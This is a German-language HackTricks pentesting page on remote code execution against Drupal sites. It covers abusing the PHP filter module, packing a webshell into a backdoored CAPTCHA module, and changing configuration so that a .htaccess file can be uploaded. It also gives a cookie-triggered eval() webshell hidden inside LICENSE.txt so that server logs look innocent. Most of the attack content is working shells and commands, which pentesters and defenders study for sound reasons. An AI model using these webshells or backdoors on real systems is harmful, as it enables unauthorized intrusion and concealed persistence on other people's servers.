hacktricks/network-services-pentesting/pentesting-web/drupal/drupal-rce.md

270 lines
12 KiB
Markdown
Raw Normal View History

# Drupal RCE
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
</details>
## Mit dem PHP-Filtermodul
{% hint style="warning" %}
In älteren Versionen von Drupal **(vor Version 8)** war es möglich, sich als Administrator anzumelden und das `PHP-Filter`-Modul zu aktivieren, das es ermöglicht, "Eingebetteten PHP-Code/Snippets auszuwerten". Ab Version 8 ist dieses Modul jedoch nicht mehr standardmäßig installiert.
{% endhint %}
Sie benötigen das **Plugin PHP, das installiert sein muss** (überprüfen Sie dies, indem Sie auf _/modules/php_ zugreifen und wenn es eine **403** zurückgibt, dann **existiert es**, wenn **nicht gefunden**, dann ist das **Plugin PHP nicht installiert**)
Gehen Sie zu _Module_ -> (**Überprüfen Sie**) _PHP-Filter_ -> _Konfiguration speichern_
![](<../../../.gitbook/assets/image (247) (1).png>)
Klicken Sie dann auf _Inhalt hinzufügen_ -> Wählen Sie _Grundlegende Seite_ oder _Artikel_ -> Schreiben Sie _PHP-Shellcode im Body_ -> Wählen Sie _PHP-Code_ im _Textformat_ -> Wählen Sie _Vorschau_
![](<../../../.gitbook/assets/image (338).png>)
Greifen Sie schließlich einfach auf den neu erstellten Knoten zu:
```bash
curl http://drupal-site.local/node/3
```
## Installieren des PHP-Filter-Moduls
{% hint style="warning" %}
In aktuellen Versionen ist es nicht mehr möglich, Plugins nur über den Webzugriff nach der Standardinstallation zu installieren.
{% endhint %}
Ab Version **8** wird das [**PHP-Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **Modul nicht mehr standardmäßig installiert**. Um diese Funktionalität zu nutzen, müssen wir das Modul **selbst installieren**.
1. Laden Sie die neueste Version des Moduls von der Drupal-Website herunter.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Nach dem Download gehen Sie zu **`Verwaltung`** > **`Berichte`** > **`Verfügbare Updates`**.
3. Klicken Sie auf **`Durchsuchen`**, wählen Sie die Datei aus dem Verzeichnis aus, in das wir sie heruntergeladen haben, und klicken Sie dann auf **`Installieren`**.
4. Nachdem das Modul installiert ist, können wir auf **`Inhalt`** klicken und eine neue Grundseite erstellen, ähnlich wie im Beispiel für Drupal 7. Stellen Sie erneut sicher, dass Sie `PHP-Code` aus dem Dropdown-Menü `Textformat` auswählen.
## Backdoored-Modul
{% hint style="warning" %}
In aktuellen Versionen ist es nicht mehr möglich, Plugins nur über den Webzugriff nach der Standardinstallation zu installieren.
{% endhint %}
Ein backdoored Modul kann erstellt werden, indem **eine Shell zu einem vorhandenen Modul hinzugefügt wird**. Module können auf der drupal.org-Website gefunden werden. Wählen wir ein Modul wie [CAPTCHA](https://www.drupal.org/project/captcha) aus. Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz-[Archiv](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
* Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalt.
```
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* Erstellen Sie eine **PHP-Webshell** mit dem Inhalt:
```php
<?php
system($_GET["cmd"]);
?>
```
* Als nächstes müssen wir eine **`.htaccess`**-Datei erstellen, um uns Zugriff auf den Ordner zu verschaffen. Dies ist notwendig, da Drupal den direkten Zugriff auf den **`/modules`**-Ordner verweigert.
```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```
* Die oben genannte Konfiguration wird Regeln für den / Ordner anwenden, wenn wir eine Datei in /modules anfordern. Kopieren Sie beide Dateien in den Captcha-Ordner und erstellen Sie ein Archiv.
```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Angenommen, wir haben **administrativen Zugriff** auf die Website, klicken Sie auf **`Verwalten`** und dann auf **`Erweitern`** in der Seitenleiste. Klicken Sie anschließend auf die Schaltfläche **`+ Neues Modul installieren`**, und Sie gelangen zur Installationsseite, z. B. `http://drupal-site.local/admin/modules/install`. Navigieren Sie zum manipulierten Captcha-Archiv und klicken Sie auf **`Installieren`**.
* Nach erfolgreicher Installation navigieren Sie zu **`/modules/captcha/shell.php`**, um Befehle auszuführen.
## Backdooring von Drupal mit Konfigurationssynchronisation <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**Beitrag geteilt von** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### Teil 1 (Aktivierung von _Media_ und _Media Library_)
Im _Erweitern_ Menü (/admin/modules) können Sie scheinbar bereits installierte Plugins aktivieren. Standardmäßig scheinen die Plugins _Media_ und _Media Library_ nicht aktiviert zu sein, also lassen Sie uns sie aktivieren.
Vor der Aktivierung:
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Nach der Aktivierung:
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
### Teil 2 (Nutzung der Funktion _Konfigurationssynchronisation_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Wir werden die Funktion _Konfigurationssynchronisation_ nutzen, um Drupal-Konfigurationseinträge zu dumpen (exportieren) und hochzuladen (importieren):
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
**Patch system.file.yml**
Beginnen wir mit dem Patchen des ersten Eintrags `allow_insecure_uploads` von:
Datei: system.file.yml
```
...
allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
Zu:
Datei: system.file.yml
```
...
allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
Dann patchen Sie den zweiten Eintrag `file_extensions` von:
Datei: field.field.media.document.field\_media\_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
Zu:
Datei: field.field.media.document.field\_media\_document.yml
```
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
```
> Ich verwende es nicht in diesem Blogbeitrag, aber es ist zu beachten, dass es möglich ist, den Eintrag `file_directory` beliebig zu definieren und dass er anfällig für einen Pfadtraversierungsangriff ist (so dass wir innerhalb des Drupal-Dateisystems nach oben gehen können).
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
### Teil 3 (Nutzung des Features _Dokument hinzufügen_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
Der letzte Schritt ist der einfachste und wird in zwei Teilschritte unterteilt. Der erste besteht darin, eine Datei im .htaccess-Format hochzuladen, um die Apache-Direktiven zu nutzen und .txt-Dateien vom PHP-Engine interpretieren zu lassen. Der zweite Schritt besteht darin, eine .txt-Datei hochzuladen, die unser Payload enthält.
Datei: .htaccess
```
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
```
Warum ist dieser Trick cool?
Weil, sobald die Webshell (die wir LICENSE.txt nennen werden) auf den Webserver hochgeladen wird, können wir unsere Befehle über `$_COOKIE` übertragen und in den Webserver-Logs wird dies als legitimer GET-Request zu einer Textdatei angezeigt.
Warum nennen wir unsere Webshell LICENSE.txt?
Einfach weil, wenn wir die folgende Datei nehmen, zum Beispiel [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (die bereits im Drupal-Kern vorhanden ist), haben wir eine Datei mit 339 Zeilen und 17,6 KB Größe, die perfekt ist, um einen kleinen PHP-Code-Schnipsel in der Mitte hinzuzufügen (da die Datei groß genug ist).
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
Datei: Gepatchte LICENSE.txt
```txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
```
#### **Teil 3.1 (Datei .htaccess hochladen)**
Zunächst nutzen wir die Funktion _Dokument hinzufügen_ (/media/add/document), um unsere Datei mit den Apache-Direktiven (.htaccess) hochzuladen.
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
**Teil 3.2 (Datei LICENSE.txt hochladen)**
Dann nutzen wir erneut die Funktion _Dokument hinzufügen_ (/media/add/document), um eine Webshell hochzuladen, die in einer Lizenzdatei versteckt ist.
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
### Teil 4 (Interaktion mit der Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
Der letzte Teil besteht darin, mit der Webshell zu interagieren.
Wie im folgenden Screenshot gezeigt, erhalten wir das nachfolgende Ergebnis, wenn der von unserer Webshell erwartete Cookie nicht definiert ist und wir die Datei über einen Webbrowser konsultieren.
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
Wenn der Angreifer das Cookie setzt, kann er mit der Webshell interagieren und beliebige Befehle ausführen.
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
Und wie Sie in den Logs sehen können, scheint nur eine txt-Datei angefordert worden zu sein.
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
Vielen Dank, dass Sie sich die Zeit genommen haben, diesen Artikel zu lesen. Ich hoffe, er hilft Ihnen, einige Shells zu erhalten.